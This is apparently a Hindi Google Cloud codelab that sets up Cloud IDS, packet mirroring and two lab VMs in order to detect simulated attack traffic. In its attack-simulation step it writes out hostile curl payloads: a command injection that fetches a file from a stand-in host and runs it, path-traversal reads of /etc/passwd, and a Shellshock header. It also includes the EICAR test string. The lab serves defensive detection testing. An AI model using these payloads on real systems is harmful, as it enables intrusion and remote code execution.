1. परिचय
इस लैब में, क्लाउड आईडीएस का इस्तेमाल किया जा सकता है. यह अगली-पीढ़ी की टेक्नोलॉजी से मैलवेयर का पता लगाने वाली बेहतर सेवा है. यह मैलवेयर, स्पायवेयर, मैलवेयर, और कमांड ऐंड कंट्रोल अटैक के लिए खतरे का पता लगाती है. Cloud Console में, एक से ज़्यादा हमलों को सिम्युलेट किया जा सकता है और खतरे की जानकारी देखी जा सकती है.
आपको इनके बारे में जानकारी मिलेगी
- क्लाउड आईडीएस एंडपॉइंट बनाने का तरीका
- gcloud के निर्देशों की मदद से दो वर्चुअल मशीनें बनाने का तरीका
- पैकेट मिररिंग की नीति बनाने का तरीका
- वर्चुअल मशीन से अटैक ट्रैफ़िक को सिम्युलेट करने का तरीका
- Cloud Console और क्लाउड लॉगिंग में खतरे की जानकारी कैसे देखें
आपको इन चीज़ों की ज़रूरत होगी
- Linux के बुनियादी निर्देशों की जानकारी
2. क्लाउड आईडीएस के इस्तेमाल के उदाहरण
Cloud IDS, ग्राहकों को Google Cloud की नेटिव अगली पीढ़ी के मैलवेयर का पता लगाने वाली सेवा (आईडीएस) देता है. इससे उन्हें पीसीआई 11.4 जैसी सुरक्षा से जुड़ी बेहतर शर्तों को पूरा करने में मदद मिलती है. यह सेवा Palo Alto Networks की मदद से, खतरों से बचाने वाली टेक्नोलॉजी की मदद से मैलवेयर का पता लगाने की बेहतर सुविधा देती है. Google Cloud के बेहतरीन इन्फ़्रास्ट्रक्चर और Palo Alto Networks की मदद से, ग्राहकों को सुरक्षा से जुड़ी बेहतरीन सुविधाओं का बेहतर कॉम्बिनेशन मिलता है. इस सेवा में, पूरी तरह से मैनेज की गई, अच्छी परफ़ॉर्मेंस, और सबसे बेहतर सुरक्षा देने वाली सुविधाएं शामिल हैं.
जैसे-जैसे ग्राहक क्लाउड पर माइग्रेट करते हैं, उनके लिए सुरक्षा का सबसे ज़्यादा ध्यान रखा जाता है. वे चाहते हैं कि उनकी कंपनी की इमारत के लिए, सुरक्षा से जुड़े वही कंट्रोल हों जो उनके पास हैं. जैसे, क्लाउड में मैलवेयर गतिविधि की पहचान करने वाली सेवा (आईडीएस). वे किसी तीसरे पक्ष के सुरक्षा समाधान को डिप्लॉय करने और इंफ़्रास्ट्रक्चर को मैनेज करने या अपने हस्ताक्षर लाने के मुकाबले, डिप्लॉयमेंट में आसानी, बेहतर परफ़ॉर्मेंस, और ऑप्टिमाइज़ की गई लागत के लिए, क्लाउड नेटिव से मैनेज किए गए आईडीएस समाधान को ज़्यादा प्राथमिकता देते हैं. Google Cloud IDS एंड-टू-एंड और ऑटो-स्केलिंग मैनेज की गई आईडीएस सेवा देता है. इससे ग्राहकों को खतरों का विश्लेषण करने और उन्हें कम करने में अपना समय देने में मदद मिलती है. साथ ही, इन्फ़्रास्ट्रक्चर या खतरे के हस्ताक्षरों को मैनेज करने के लिए, समय और संसाधनों की बचत होती है.
Cloud IDS को बैंड से बाहर लागू किया जाता है और यह खतरों का पता लगाकर उन पर चेतावनी दे सकता है, लेकिन खतरों को रोक नहीं सकता. यह Google Cloud Packet Mirroring का इस्तेमाल करके, नेटवर्क ट्रैफ़िक की कॉपी बनाता है. इसके लिए, Palo Alto Network के खतरे का पता लगाने वाले इंजन का इस्तेमाल करके, ट्रैफ़िक का विश्लेषण किया जाता है.
3. कोडलैब टोपोलॉजी
पहला डायग्राम. इस लैब के लिए, क्लाउड आईडीएस डिप्लॉयमेंट के बारे में खास जानकारी देने वाला आर्किटेक्चर.
4. सेटअप और ज़रूरी शर्तें
अपने हिसाब से एनवायरमेंट सेटअप करना
- Google Cloud Console में साइन इन करें और नया प्रोजेक्ट बनाएं या किसी मौजूदा प्रोजेक्ट का फिर से इस्तेमाल करें. अगर आपके पास पहले से Gmail या Google Workspace खाता नहीं है, तो आपको नया खाता बनाना होगा.
- प्रोजेक्ट का नाम, इस प्रोजेक्ट में हिस्सा लेने वाले लोगों का डिसप्ले नेम होता है. यह एक वर्ण स्ट्रिंग है, जिसका इस्तेमाल Google API नहीं करता. साथ ही, आप इसे किसी भी समय अपडेट कर सकते हैं.
- प्रोजेक्ट आईडी, Google Cloud के सभी प्रोजेक्ट के लिए यूनीक होना चाहिए. साथ ही, आईडी को बदला नहीं जा सकता. सेट अप के बाद इसे बदला नहीं जा सकता. Cloud Console, एक यूनीक स्ट्रिंग अपने-आप जनरेट करता है; आम तौर पर, आपको उसके होने की कोई परवाह नहीं होती. ज़्यादातर कोडलैब में, आपको प्रोजेक्ट आईडी का रेफ़रंस देना पड़ता है और आम तौर पर इसकी पहचान
PROJECT_ID
के रूप में की जाती है. इसलिए, अगर आपको यह पसंद नहीं आता है, तो कोई भी कोड जनरेट करें. इसके अलावा, खुद का भी कोड बनाकर देखा जा सकता है कि वह उपलब्ध है या नहीं. फिर यह "फ़्रोज़न" होता है प्रोजेक्ट बनने के बाद. - तीसरी वैल्यू, प्रोजेक्ट नंबर है, जिसका इस्तेमाल कुछ एपीआई करते हैं. दस्तावेज़ में इन तीनों वैल्यू के बारे में ज़्यादा जानें.
- इसके बाद, आपको क्लाउड संसाधनों/एपीआई का इस्तेमाल करने के लिए, Cloud Console में बिलिंग की सुविधा चालू करनी होगी. इस कोडलैब का इस्तेमाल करने पर, आपको ज़्यादा पैसे नहीं चुकाने होंगे. संसाधनों को बंद करने के लिए, इस ट्यूटोरियल के अलावा किसी और तरीके से बिलिंग न करें. इसके लिए, "साफ़-सफ़ाई" का इस्तेमाल करें कोडलैब के आखिर में दिए गए निर्देश देखें. Google Cloud के नए उपयोगकर्ता, 300 डॉलर के मुफ़्त ट्रायल वाले प्रोग्राम में हिस्सा ले सकते हैं.
Cloud Shell शुरू करना
Google Cloud को आपके लैपटॉप से, कहीं से भी ऑपरेट किया जा सकता है. हालांकि, इस कोडलैब में Google Cloud Shell का इस्तेमाल किया जा रहा है. यह क्लाउड में चलने वाला कमांड लाइन एनवायरमेंट है.
GCP कंसोल में, सबसे ऊपर दाईं ओर मौजूद टूलबार पर क्लाउड शेल आइकॉन पर क्लिक करें:
प्रावधान करने और एनवायरमेंट से कनेक्ट होने में कुछ ही समय लगेगा. उसके पूरा हो जाने पर, आपको कुछ ऐसा दिखाई देगा:
इस वर्चुअल मशीन में ऐसे सभी डेवलपमेंट टूल मौजूद हैं जिनकी आपको ज़रूरत पड़ेगी. यह पांच जीबी की स्थायी होम डायरेक्ट्री उपलब्ध कराता है और Google Cloud पर चलता है. यह नेटवर्क की परफ़ॉर्मेंस और पुष्टि करने की प्रक्रिया को बेहतर बनाता है. इस लैब में आपका सारा काम बस एक ब्राउज़र से किया जा सकता है.
5. शुरू करने से पहले
एपीआई चालू करें
Cloud Shell में, पक्का करें कि आपका प्रोजेक्ट आईडी सेट अप किया गया हो
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
सभी ज़रूरी सेवाएं चालू करें
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. VPC नेटवर्क बनाएं
VPC नेटवर्क
Cloud Shell से
gcloud compute networks create cloud-ids \ --subnet-mode=custom
सबनेट
Cloud Shell से
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
निजी सेवा का ऐक्सेस
Cloud Shell से
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
निजी सेवा कनेक्शन
Cloud Shell से
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
फ़ायरवॉल के नियम
आईएपी को अपने वीएम इंस्टेंस से कनेक्ट करने की अनुमति देने के लिए, फ़ायरवॉल का नियम बनाएं:
- यह उन सभी वीएम इंस्टेंस पर लागू होता है जिन्हें आपको आईएपी का इस्तेमाल करके ऐक्सेस करना है.
- आईपी रेंज 35.235.240.0/20 से, इन्ग्रेस डेटा ट्रैफ़िक की अनुमति देता है. इस रेंज में वे सभी आईपी पते शामिल होते हैं जिनका इस्तेमाल आईएपी, टीसीपी फ़ॉरवर्ड करने के लिए करता है.
Cloud Shell से
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
सर्वर को स्टैंडर्ड एचटीटीपी पोर्ट (टीसीपी 80) और आईसीएमपी प्रोटोकॉल की अनुमति देने के लिए:
- नेटवर्क टैग "सर्वर" वाले संसाधनों पर लागू होता है
- सभी सोर्स से इन्ग्रेस डेटा ट्रैफ़िक की अनुमति देता है
Cloud Shell से
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT इंस्टेंस बनाएं
क्लाउड राऊटर
Cloud Shell से
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
क्लाउड एनएटी
Cloud Shell से
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. क्लाउड आईडीएस एंडपॉइंट बनाएं
इस सेक्शन में, आप us-east1 में एक Cloud IDS एंडपॉइंट बनाते हैं, जिसकी गंभीरता जानकारी पर सेट होती है. आईडीएस एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं.
आईडीएस एंडपॉइंट
Cloud Shell से
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
पुष्टि करें कि क्लाउड आईडीएस एंडपॉइंट शुरू हो गया है
gcloud ids endpoints list --project=$PROJECT_ID
आउटपुट -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 2 वर्चुअल मशीन बनाएं
इस सेक्शन में, दो वर्चुअल मशीनें बनाई जाती हैं. पहला वेब सर्वर होगा जो क्लाउड आईडीएस के साथ काम करता है. दूसरी वर्चुअल मशीन, हमला करने वाले आपके ट्रैफ़िक का सोर्स होगी.
वर्चुअल मशीन 1 (सर्वर)
Cloud Shell से
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
वर्चुअल मशीन 2 (क्लाइंट)
Cloud Shell से
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. सर्वर तैयार किया जा रहा है
इस टास्क में, आपको अपने सर्वर की पुष्टि करनी होगी. साथ ही, अपने क्लाइंट को कोई सुरक्षित मैलवेयर पेलोड उपलब्ध कराना होगा.
Cloud Shell के ज़रिए वीएम में एसएसएच
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
पुष्टि करें कि वेब सेवा चालू है
sudo systemctl status nginx
आउटपुट - पुष्टि करें कि सक्रिय है और चल रहा है
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
डायरेक्ट्री को वेब सेवा में बदलें
cd /var/www/html/
वेबसर्वर पर नुकसान न पहुंचाने वाली मैलवेयर फ़ाइल बनाना
sudo touch eicar.file
कॉन्टेंट चिपकाएं
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
CloudShell पर वापस जाएं
exit
क्लाउड आईडीएस पैकेट के डुप्लीकेट वर्शन बनाने की नीति बनाना
आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम की पहचान करें और पुष्टि करें कि आईडीएस एंडपॉइंट स्थिति "READY" है.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
आउटपुट का उदाहरण - "endpoint फ़ॉरवर्डिंग नियम" से वैल्यू कॉपी करें
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम को वैरिएबल में सेव करें.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
पैकेट मिररिंग की नीति
Cloud Shell से
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
पैकेट मिररिंग की नीति के बनने की पुष्टि करना
Cloud Shell से
gcloud compute packet-mirrorings list
आउटपुट
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. हमले के ट्रैफ़िक को सिम्युलेट करें
हमलावर वर्चुअल मशीन (क्लाइंट) में एसएसएच
Cloud Shell से
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
नुकसान पहुंचाने वाले ट्रैफ़िक को सिम्युलेट करने के लिए, नीचे दिए गए कर्ल अनुरोध चलाएं.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
CloudShell पर वापस जाने के लिए, वर्चुअल मशीन (वीएम) से बाहर निकलें
exit
11. क्लाउड आईडीएस से मिले खतरों की समीक्षा करें
क्लाउड आईडीएस डैशबोर्ड पर जाएं
नेविगेशन मेनू > नेटवर्क की सुरक्षा > क्लाउड आईडीएस
'खतरे' टैब पर जाएं.
जैसा कि आपको दिख रहा है, क्लाउड आईडीएस ने हमले के ट्रैफ़िक की अलग-अलग प्रोफ़ाइल को कैप्चर किया और हर खतरे के बारे में जानकारी दी. इसके लिए, आपको "रीफ़्रेश करें" पर क्लिक करना पड़ सकता है बटन का उपयोग करें. अब हम बारीकी से इसकी जांच करेंगे और खतरे की जानकारी देंगे.
"बैश रिमोट कोड पर काम करने से जुड़े जोखिम की आशंका" का पता लगाएं खतरों की जानकारी देखें और दाईं ओर तीन बिंदुओं पर क्लिक करें. इसके बाद "खतरे की जानकारी देखें" को चुनें
अब हम इस घटना की जानकारी क्लाउड लॉगिंग में देखेंगे. लेफ़्ट पॉइंटिंग ऐरो पर क्लिक करके, खतरे वाले पेज पर वापस जाएं .
दाईं ओर दिए गए तीन बिंदुओं पर क्लिक करें और "खतरे के लॉग देखें" को चुनें
यही जानकारी क्लाउड लॉगिंग को दी जाती है. इसकी मदद से, Cloud Storage, Chronicle या किसी भी SIEM/SOAR लॉग को लॉग भेजा जा सकता है. चेतावनी के आधार पर सुधार की कार्रवाई करने के लिए, कस्टम वर्कफ़्लो भी बनाए जा सकते हैं. जैसे, एक ऐसा क्लाउड फ़ंक्शन बनाना जो किसी सूचना पर ट्रिगर होता हो और आईपी पते को ब्लॉक करने के लिए फ़ायरवॉल नियम बनाता/अपडेट करता हो या Cloud आर्मर की नीति बनाता/अपडेट करता है.
12. क्लीनअप का तरीका
वीएम इंस्टेंस से बाहर निकलें (सभी टैब)
exit
किसी एक Cloud Shell टर्मिनल से लैब के कॉम्पोनेंट मिटाएं
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. बधाई हो!
कोडलैब पूरा करने के लिए बधाई.
इसमें हमने इन विषयों के बारे में बताया
- क्लाउड आईडीएस के इस्तेमाल के उदाहरण
- नेटवर्क से जुड़ी ज़रूरी शर्तें
- काम करने वाले एपीआई
- क्लाउड आईडीएस एंडपॉइंट बनाया गया
- दो वीएम डिप्लॉय किए गए
- कुछ "हमले" जनरेट हुए क्लाइंट से मिला ट्रैफ़िक
- आईडीएस ने ऐसे खतरों का पता लगाया है जिनकी पुष्टि हो चुकी है
- खतरे की जानकारी और लॉग की समीक्षा करना